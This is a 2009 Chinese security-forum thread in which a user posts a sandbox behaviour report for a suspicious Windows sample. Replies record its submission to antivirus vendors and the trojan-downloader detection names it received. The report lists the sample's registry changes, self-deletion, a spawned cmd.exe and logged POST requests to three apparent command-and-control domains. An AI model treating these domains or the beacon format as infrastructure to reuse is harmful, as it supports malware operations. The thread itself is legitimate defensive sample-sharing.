一个可疑样本~

coldwinter

Size	94208
MD5	3e00b4d7826f51e9d1a9b00d2fa6fd6e
SHA1	ef65e4638b06591f8590b9dbdb2f40b0b63213ef
SHA256	aae2a82d89a6493f4569ff4e6ea91e9f0946d4b73d45f6fe7c95556e619fd022
Process	Exited

Keys Created

LM\Software\Microsoft\RFC1156Agent	2009.01.12 15:12:45.578
LM\Software\Microsoft\RFC1156Agent\CurrentVersion	2009.01.12 15:12:45.578
LM\Software\Microsoft\RFC1156Agent\CurrentVersion\Parameters	2009.01.12 15:12:45.578

• Keys Changed
• Keys Deleted
• Values Created

Name	Type	Size	Value
LM\Software\Microsoft\RFC1156Agent\CurrentVersion\Parameters\TrapPollTimeMilliSecs	REG_DWORD	4	0x3a98

• Values Changed

Name	Type	Size	Value
CU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings	REG_BINARY/REG_BINARY	52/56	?/?

• Values Deleted • Directories Created • Directories Changed • Directories Deleted • Files Created • Files Changed

Name	Size	Last Write Time	Creation Time	Last Access Time	Attr
C:\WINDOWS\system32\config\software	8912896/8912896	2009.01.12 15:10:01.953/2009.01.12 15:12:45.578	2008.07.31 16:55:51.593/2008.07.31 16:55:51.593	2009.01.12 15:10:01.953/2009.01.12 15:10:01.953	0x20/0x20

• Files Deleted

Name	Size	Last Write Time	Creation Time	Last Access Time	Attr
C:\TEST\sample.exe	94208	2009.01.12 15:12:41.375	2009.01.12 15:12:20.546	2009.01.12 15:12:20.546	0x20

• Directories Hidden • Files Hidden • Drivers Loaded • Drivers Unloaded • Processes Created

PId	Process Name	Image Name
0x4e8	cmd.exe	C:\WINDOWS\system32\cmd.exe

• Processes Terminated • Threads Created

PId	Process Name	TId	Start	Start Mem	Win32 Start	Win32 Start Mem
0x2ac	lsass.exe	0x724	0x7c810856	MEM_IMAGE	0x77e76bf0	MEM_IMAGE
0x348	svchost.exe	0xf8	0x7c810856	MEM_IMAGE	0x7c910760	MEM_IMAGE
0x3f4	svchost.exe	0x2d0	0x7c810856	MEM_IMAGE	0x77e76bf0	MEM_IMAGE
0x424	svchost.exe	0x4cc	0x7c810856	MEM_IMAGE	0x77df9981	MEM_IMAGE
0x4e8	cmd.exe	0x4ec	0x7c810867	MEM_IMAGE	0x4ad05056	MEM_IMAGE

• Modules Loaded • Windows Api Calls • DNS Queries

DNS Query Text

myart-gallery.com IN A +

yourkoarts.com IN A +

bestartcollection.com IN A +

• HTTP Queries

HTTP Query Text

myart-gallery.com POST /senm.php?data=v22MzjS0H4X1XjRmvVFHEeE2PuPsctM6PdFWTH11KB0CWwXTiUHUzGr1BVrHIQqMgMqV750Teg== HTTP/1.1

yourkoarts.com POST /senm.php?data=v22MzjS0H4X1XjRmvVFHEeE2PuPsctM6PdFWTH11KB0CWwXTiUHUzGr1BVrHIQqMgMqV750Teg== HTTP/1.1

bestartcollection.com POST /senm.php?data=v22MzjS0H4X1XjRmvVFHEeE2PuPsctM6PdFWTH11KB0CWwXTiUHUzGr1BVrHIQqMgMqV750Teg== HTTP/1.1

• Verdict

Auto Analysis Verdict

Suspicious++

• Description

Suspicious Actions Detected

Creates and executes scripts

Deletes self

• Mutexes Created or Opened

PId	Image Name	Address	Mutex Name
0x684	C:\TEST\sample.exe	0x76ee3a34	RasPbFile
0x684	C:\TEST\sample.exe	0x771ba3ae	_!MSFTHISTORY!_
0x684	C:\TEST\sample.exe	0x771bc21c	WininetConnectionMutex
0x684	C:\TEST\sample.exe	0x771bc23d	WininetProxyRegistryMutex
0x684	C:\TEST\sample.exe	0x771bc2dd	WininetStartupMutex
0x684	C:\TEST\sample.exe	0x771d9710	c:!documents and settings!user!cookies!
0x684	C:\TEST\sample.exe	0x771d9710	c:!documents and settings!user!local settings!history!history.ie5!
0x684	C:\TEST\sample.exe	0x771d9710	c:!documents and settings!user!local settings!temporary internet files!content.ie5!

• Events Created or Opened

PId	Image Name	Address	Event Name
0x684	C:\TEST\sample.exe	0x769c4ec2	Global\userenv: User Profile setup event
0x684	C:\TEST\sample.exe	0x77a89422	Global\crypt32LogoffEvent
0x684	C:\TEST\sample.exe	0x77de5f48	Global\SvcctrlStartEvent_A3752DX

免杀virscan.org上所有的杀毒软件。

[ 本帖最后由 coldwinter 于 2009-9-9 15:10 编辑 ]

kaap

已上报瑞星
RS20090909150544890878

rok827

ilename	Result
xx.exe	UNDER ANALYSIS

The file 'xx.exe' has been determined to be 'UNDER ANALYSIS'

[ 本帖最后由 rok827 于 2009-9-9 15:12 编辑 ]

coldwinter

thank you~~

The EQs

又是加了一堆数据的UPX.。。。
放个脱了MJ的样本

rok827

to avira,thank you for your help

失落的手链

瑞星2010

查询编号：RS20090909150544890878 文件名称：xx.rar 文件MD5：E61B3018396EAB966410310234EBAC65 文件状态：压缩文件，包含1个文件 文件名 MD5 状态 病毒名称 解决版本号 xx.exe 3E00B4D78... 安全文件

jason_jiang

D:\Backup\桌面\dumped_.exe - 已感染 Trojan.Siggen.3969

sam.to

https://www.virustotal.com/anali ... e619fbcc-1252489980
to kl,ll,mcafee,comodo


Hello,


xx.ex%e - Trojan-Downloader.Win32.CodecPack.kct

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

[ 本帖最后由 sam.to 于 2009-9-9 18:03 编辑 ]

090168

"D:\垃圾下载专区\360\xx.rar";"特洛伊木马 Downloader.Generic8.BPGF";"已感染"
"D:\垃圾下载专区\360\xx.rar:\xx.exe";"特洛伊木马 Downloader.Generic8.BPGF";"已感染"